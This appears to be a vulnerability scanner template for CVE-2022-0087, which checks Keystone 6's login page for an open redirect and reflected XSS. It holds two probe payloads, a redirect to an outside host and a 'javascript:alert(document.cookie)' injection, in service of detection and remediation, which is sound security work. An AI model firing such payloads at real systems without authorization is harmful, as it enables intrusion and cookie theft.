38 lines
1.3 KiB
YAML
38 lines
1.3 KiB
YAML
id: CVE-2022-0087
|
|
|
|
info:
|
|
name: Keystone 6 Login Page - Open Redirect and Cross-Site Scripting
|
|
author: ShivanshKhari
|
|
severity: medium
|
|
description: |
|
|
On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.
|
|
remediation: |
|
|
Please upgrade to @keystone-6/auth >= 1.0.2, where this vulnerability has been closed. If you are using @keystone-next/auth, we strongly recommend you upgrade to @keystone-6
|
|
reference:
|
|
- https://huntr.com/bounties/c9d7374f-2cb9-4bac-9c90-a965942f413e
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0087
|
|
metadata:
|
|
max-request: 2
|
|
vendor: keystonejs
|
|
product: keystone
|
|
framework: node.js
|
|
tags: cve,cve2022,keystone,redirect,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/signin?from=https://interact.sh"
|
|
- "{{BaseURL}}/signin?from=javascript:alert(document.cookie)"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "Location: https://interact.sh"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "alert(document.cookie)"
|
|
# digest: 4b0a00483046022100fab65bfb5a35101b1a8e74e1f6cedd7ce683832faa1ea68d04f3e58067588276022100efc4d437ff1d6f7a619d637f67dc5f36b0e830c8fad8a81813a465d003f41a52:922c64590222798bb761d5b6d8e72950 |